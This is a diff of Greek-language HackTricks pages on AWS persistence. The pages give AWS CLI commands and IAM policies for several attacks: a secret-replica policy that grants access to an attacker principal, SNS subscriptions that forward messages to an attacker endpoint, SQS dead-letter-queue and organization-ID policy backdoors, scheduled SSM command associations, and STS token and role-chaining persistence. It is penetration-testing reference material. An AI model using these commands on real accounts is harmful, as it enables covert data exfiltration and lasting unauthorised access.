{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Διάβασε το secret από τον attacker principal στο R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Όταν δημιουργείτε ένα **SNS topic** πρέπει να υποδείξετε με μια πολιτική IAM **ποιος έχει πρόσβαση για ανάγνωση και εγγραφή**. Είναι δυνατόν να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων ή **ακόμα και "\*"**.\
|
||||
Η παρακάτω πολιτική δίνει σε όλους στο AWS πρόσβαση για ανάγνωση και εγγραφή στο SNS topic που ονομάζεται **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Δημιουργία Συνδρομητών
|
||||
|
||||
Για να συνεχίσει την εξαγωγή όλων των μηνυμάτων από όλα τα θέματα, ο επιτιθέμενος θα μπορούσε **να δημιουργήσει συνδρομητές για όλα τα θέματα**.
|
||||
|
||||
Σημειώστε ότι αν το **θέμα είναι τύπου FIFO**, μόνο οι συνδρομητές που χρησιμοποιούν το πρωτόκολλο **SQS** μπορούν να χρησιμοποιηθούν.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Επίμονη πρόσβαση
|
||||
|
||||
Κατά τη δημιουργία ενός **SNS topic** πρέπει να υποδείξετε με μία IAM policy **ποιος έχει πρόσβαση για ανάγνωση και εγγραφή**. Είναι δυνατό να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων, ή **ακόμα το "\*"**.\
|
||||
Η ακόλουθη policy δίνει σε όλους στο AWS πρόσβαση για ανάγνωση και εγγραφή στο SNS topic με όνομα **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Δημιουργία Συνδρομητών
|
||||
|
||||
Για να συνεχίσει να εξάγει όλα τα μηνύματα από όλα τα θέματα, ένας επιτιθέμενος μπορεί να **δημιουργήσει συνδρομητές για όλα τα θέματα**.
|
||||
|
||||
Σημειώστε ότι αν το **θέμα είναι τύπου FIFO**, μόνο συνδρομητές που χρησιμοποιούν το πρωτόκολλο **SQS** μπορούν να χρησιμοποιηθούν.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### Κρυφή, επιλεκτική exfiltration μέσω FilterPolicy σε MessageBody
|
||||
|
||||
Ένας επιτιθέμενος με `sns:Subscribe` και `sns:SetSubscriptionAttributes` σε ένα topic μπορεί να δημιουργήσει μια stealthy SQS subscription που προωθεί μόνο μηνύματα των οποίων το JSON body ταιριάζει με ένα πολύ στενό φίλτρο (για παράδειγμα, `{"secret":"true"}`). Αυτό μειώνει τον όγκο και την πιθανότητα ανίχνευσης ενώ εξακολουθεί να πραγματοποιείται exfiltration ευαίσθητων εγγραφών.
|
||||
|
||||
**Πιθανός Αντίκτυπος**: Κρυφή, χαμηλού θορύβου exfiltration μόνο των στοχευμένων μηνυμάτων SNS από ένα θύμα topic.
|
||||
|
||||
Βήματα (AWS CLI):
|
||||
- Βεβαιωθείτε ότι η πολιτική της SQS ουράς του επιτιθέμενου επιτρέπει `sqs:SendMessage` από το θύμα `TopicArn` (Condition `aws:SourceArn` equals the `TopicArn`).
|
||||
- Δημιουργήστε SQS subscription για το topic:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Ορίστε το φίλτρο να λειτουργεί στο MessageBody και να ταιριάζει μόνο `secret=true`:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Προαιρετική διακριτικότητα: ενεργοποιήστε το raw delivery ώστε μόνο το raw payload να φτάνει στον παραλήπτη:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Επαλήθευση: δημοσιεύστε δύο μηνύματα και επιβεβαιώστε ότι μόνο το πρώτο παραδόθηκε στην ουρά του επιτιθέμενου. Παραδείγματα payloads:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Καθαρισμός: απεγγραφείτε και διαγράψτε την SQS ουρά του επιτιθέμενου αν δημιουργήθηκε για persistence testing.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Χρησιμοποιώντας πολιτική πόρων
|
||||
|
||||
Στο SQS πρέπει να υποδείξετε με μια πολιτική IAM **ποιος έχει πρόσβαση για να διαβάσει και να γράψει**. Είναι δυνατόν να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων ή **ακόμα και "\*"**.\
|
||||
Η παρακάτω πολιτική δίνει σε όλους στο AWS πρόσβαση σε όλα στην ουρά που ονομάζεται **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Θα μπορούσατε ακόμη και να **ενεργοποιήσετε μια Lambda στον λογαριασμό των επιτιθέμενων κάθε φορά που προστίθεται ένα νέο μήνυμα** στην ουρά (θα χρειαστεί να το ξαναβάλτε) με κάποιο τρόπο. Για αυτό ακολουθήστε αυτές τις οδηγίες: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Χρήση resource policy
|
||||
|
||||
Στο SQS πρέπει να υποδείξετε με μια IAM policy **ποιος έχει πρόσβαση για ανάγνωση και εγγραφή**. Είναι δυνατόν να υποδείξετε εξωτερικούς λογαριασμούς, ARN of roles, ή **ακόμα και "\*"**.\
|
||||
Η παρακάτω πολιτική δίνει σε όλους στο AWS πρόσβαση σε οτιδήποτε στην ουρά που ονομάζεται **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Μπορείτε ακόμη και να **ενεργοποιήσετε μια Lambda στον λογαριασμό του attacker κάθε φορά που μπαίνει ένα νέο μήνυμα** στην ουρά (θα χρειαστεί να το επανατοποθετήσετε). Για αυτό ακολουθήστε αυτές τις οδηγίες: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Περισσότερες SQS Persistence Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κακοποίηση των SQS Dead-Letter Queues (DLQs) για να απορροφηθούν διακριτικά δεδομένα από μια ουρά πηγής του θύματος δείχνοντας το RedrivePolicy της σε μια ουρά που ελέγχεται από attacker. Με χαμηλό maxReceiveCount και με πρόκληση ή αναμονή κανονικών αποτυχιών επεξεργασίας, τα μηνύματα κατευθύνονται αυτόματα στην attacker DLQ χωρίς να αλλάξουν οι producers ή οι Lambda event source mappings.
|
||||
|
||||
## Κακοχρησιμοποιούμενα Δικαιώματα
|
||||
- sqs:SetQueueAttributes στην ουρά πηγής του θύματος (για να ορίσει το RedrivePolicy)
|
||||
- sqs:SetQueueAttributes στην attacker DLQ (για να ορίσει το RedriveAllowPolicy)
|
||||
- Προαιρετικό για επιτάχυνση: sqs:ReceiveMessage στην ουρά πηγής
|
||||
- Προαιρετικό για ρύθμιση: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Ροή ίδιου λογαριασμού (allowAll)
|
||||
|
||||
Προετοιμασία (attacker account or compromised principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Εκτέλεση (τρέξτε ως compromised principal σε victim account):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Επιτάχυνση (προαιρετική):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Επικύρωση:
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Παράδειγμα αποδεικτικών στοιχείων (Οι ιδιότητες περιλαμβάνουν το DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Cross-Account Variant (byQueue)
|
||||
Ορίστε το RedriveAllowPolicy στο attacker DLQ ώστε να επιτρέπονται μόνο συγκεκριμένα victim source queue ARNs:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Επιπτώσεις
|
||||
- Κρυφή, ανθεκτική data exfiltration/persistence μέσω αυτόματης παρέκκλισης των αποτυχημένων μηνυμάτων από την SQS source queue του θύματος σε attacker-controlled DLQ, με ελάχιστο λειτουργικό θόρυβο και χωρίς αλλαγές στους producers ή στις Lambda mappings.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Καταχράσου την πολιτική πόρου ενός SQS queue για να παραχωρήσεις αθόρυβα τα Send, Receive και ChangeMessageVisibility σε οποιονδήποτε principal που ανήκει σε μια στοχευμένη AWS Organization χρησιμοποιώντας τη συνθήκη aws:PrincipalOrgID. Αυτό δημιουργεί ένα περιορισμένο στην οργάνωση (org-scoped) κρυφό μονοπάτι που συχνά παρακάμπτει ελέγχους που κοιτούν μόνο για ρητά account ή role ARNs ή star principals.
|
||||
|
||||
### Backdoor policy (attach to the SQS queue policy)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Βήματα
|
||||
- Αποκτήστε το Organization ID με το AWS Organizations API.
|
||||
- Πάρτε το SQS queue ARN και ορίστε την πολιτική ουράς συμπεριλαμβάνοντας τη δήλωση παραπάνω.
|
||||
- Από οποιονδήποτε principal που ανήκει σε εκείνη την Organization, στείλτε και λάβετε ένα μήνυμα στην ουρά για να επικυρώσετε την πρόσβαση.
|
||||
|
||||
### Επιπτώσεις
|
||||
- Κρυφή πρόσβαση σε επίπεδο Organization για ανάγνωση και εγγραφή SQS μηνυμάτων από οποιονδήποτε λογαριασμό στην καθορισμένη AWS Organization.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Χρησιμοποιώντας το ssm:CreateAssociation για επιμονή
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει μια Σύνδεση Διαχειριστή Κατάστασης για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι συνδέσεις μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τις κατάλληλες για επιμονή τύπου backdoor χωρίς διαδραστικές συνεδρίες.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Αυτή η μέθοδος επιμονής λειτουργεί όσο η EC2 instance διαχειρίζεται από το Systems Manager, ο SSM agent είναι ενεργός και ο επιτιθέμενος έχει άδεια να δημιουργεί συσχετίσεις. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα 30 λεπτών της AWS. Για άμεση ή μία φορά εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η συσχέτιση θα εκτελείται μία φορά μετά τη δημιουργία.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Using ssm:CreateAssociation for persistence
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς interactive sessions.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Αυτή η μέθοδος persistence λειτουργεί εφόσον το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent εκτελείται, και ο attacker έχει άδεια να δημιουργεί associations. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα των 30 λεπτών της AWS. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η association θα εκτελεστεί μία φορά μετά τη δημιουργία.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Διατήρηση Λειτουργιών Βημάτων
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Λειτουργίες Βημάτων
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Πίσω πόρτα σε Λειτουργία Βημάτων
|
||||
|
||||
Προσθέστε μια πίσω πόρτα σε μια λειτουργία βημάτων για να εκτελεί οποιοδήποτε κόλπο διατήρησης, έτσι ώστε κάθε φορά που εκτελείται να τρέχει τα κακόβουλα βήματά σας.
|
||||
|
||||
### Πίσω πόρτα σε ψευδώνυμα
|
||||
|
||||
Εάν ο λογαριασμός AWS χρησιμοποιεί ψευδώνυμα για να καλεί τις λειτουργίες βημάτων, θα ήταν δυνατό να τροποποιηθεί ένα ψευδώνυμο για να χρησιμοποιήσει μια νέα εκδοχή με πίσω πόρτα της λειτουργίας βημάτων.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Διατήρηση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor ένα step function ώστε να εκτελεί οποιοδήποτε persistence trick, έτσι κάθε φορά που εκτελείται θα τρέχει τα κακόβουλα βήματά σας.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Αν ο AWS λογαριασμός χρησιμοποιεί aliases για να καλεί step functions, θα ήταν δυνατό να τροποποιήσετε ένα alias ώστε να χρησιμοποιεί μια νέα backdoored έκδοση του step function.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+13
-13
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
|
||||
Οι προσωρινοί τόκοι δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκου είναι ένας τρόπος για να διατηρηθεί η επιμονή.
|
||||
Τα temporary tokens δεν μπορούν να εμφανιστούν σε λίστα, οπότε η διατήρηση ενός ενεργού temporary token είναι ένας τρόπος για να διατηρηθεί persistence.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Με MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Το όνομα της συσκευής υλικού είναι συνήθως ο αριθμός από την πίσω πλευρά της συσκευής, όπως GAHT12345678
|
||||
<strong># Το όνομα της συσκευής SMS είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Το όνομα της εικονικής συσκευής είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **αναλαμβάνετε έναν ρόλο που στη συνέχεια αναλαμβάνει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που αναλαμβάνεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να αναλαμβάνουν ο ένας τον άλλο, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), συχνά χρησιμοποιείται για τη διατήρηση stealth persistence. Περιλαμβάνει την ικανότητα να **assume a role which then assumes another**, με πιθανή επαναφορά στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που ένας ρόλος αναλαμβάνεται, το πεδίο λήξης των credentials ανανεώνεται. Συνεπώς, αν δύο roles είναι ρυθμισμένοι ώστε να αναλαμβάνουν αμοιβαία ο ένας τον άλλον, αυτή η ρύθμιση επιτρέπει τη διαρκή ανανέωση των credentials.
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε αυτό το [**εργαλείο**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε την αλυσίδα ρόλων:
|
||||
Μπορείτε να χρησιμοποιήσετε αυτό το [**tool**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε το role chaining:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι το [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) σενάριο από αυτό το αποθετήριο Github δεν βρίσκει όλους τους τρόπους με τους οποίους μπορεί να διαμορφωθεί μια αλυσίδα ρόλων.
|
||||
> Σημειώστε ότι το script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) από εκείνο το Github repository δεν βρίσκει όλους τους τρόπους με τους οποίους μπορεί να διαμορφωθεί μια αλυσίδα ρόλων.
|
||||
|
||||
<details>
|
||||
|
||||
